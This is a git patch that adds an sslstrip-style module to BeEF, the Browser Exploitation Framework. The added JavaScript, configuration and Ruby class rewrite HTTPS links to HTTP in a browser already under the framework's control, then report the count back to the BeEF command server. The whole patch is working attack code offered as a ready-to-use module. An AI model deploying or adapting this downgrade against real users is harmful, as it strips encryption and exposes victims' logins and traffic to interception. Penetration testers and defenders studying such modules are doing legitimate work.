From a1f7bd2e6edcd6636c6ab3f261ecfc3b89601933 Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Thu, 29 Sep 2011 10:42:45 +0000 Subject: [PATCH] Added Rewrite HREFs (HTTPS) module This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten. Added beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, selector) git-svn-id: https://beef.googlecode.com/svn/trunk@1318 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../browser/link_rewrite_sslstrip/command.js | 24 ++++++++++++++++ .../browser/link_rewrite_sslstrip/config.yaml | 25 +++++++++++++++++ .../browser/link_rewrite_sslstrip/module.rb | 28 +++++++++++++++++++ 3 files changed, 77 insertions(+) create mode 100644 modules/browser/link_rewrite_sslstrip/command.js create mode 100644 modules/browser/link_rewrite_sslstrip/config.yaml create mode 100644 modules/browser/link_rewrite_sslstrip/module.rb diff --git a/modules/browser/link_rewrite_sslstrip/command.js b/modules/browser/link_rewrite_sslstrip/command.js new file mode 100644 index 000000000..2eab9ac98 --- /dev/null +++ b/modules/browser/link_rewrite_sslstrip/command.js @@ -0,0 +1,24 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + old_protocol = "https"; + new_protocol = "http"; + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, '<%= @selector %>')+' '+old_protocol+' links rewritten to '+new_protocol); + +}); + diff --git a/modules/browser/link_rewrite_sslstrip/config.yaml b/modules/browser/link_rewrite_sslstrip/config.yaml new file mode 100644 index 000000000..a7c28e576 --- /dev/null +++ b/modules/browser/link_rewrite_sslstrip/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + link_rewrite_sslstrip: + enable: true + category: "Browser" + name: "Replace HREFs (HTTPS)" + description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten.

The jQuery selector field can be used to limit the selection of links. eg: a[href=\"http://www.bindshell.net\"]. For more information please see: http://api.jquery.com/category/selectors/" + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/browser/link_rewrite_sslstrip/module.rb b/modules/browser/link_rewrite_sslstrip/module.rb new file mode 100644 index 000000000..7ab83dd5e --- /dev/null +++ b/modules/browser/link_rewrite_sslstrip/module.rb @@ -0,0 +1,28 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Link_rewrite_sslstrip < BeEF::Core::Command + + def self.options + return [ + { 'ui_label'=>'jQuery Selector', 'name'=>'selector', 'description' => 'Optional link selector other than all a* tags', 'value'=>'a', 'width'=>'200px' } + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end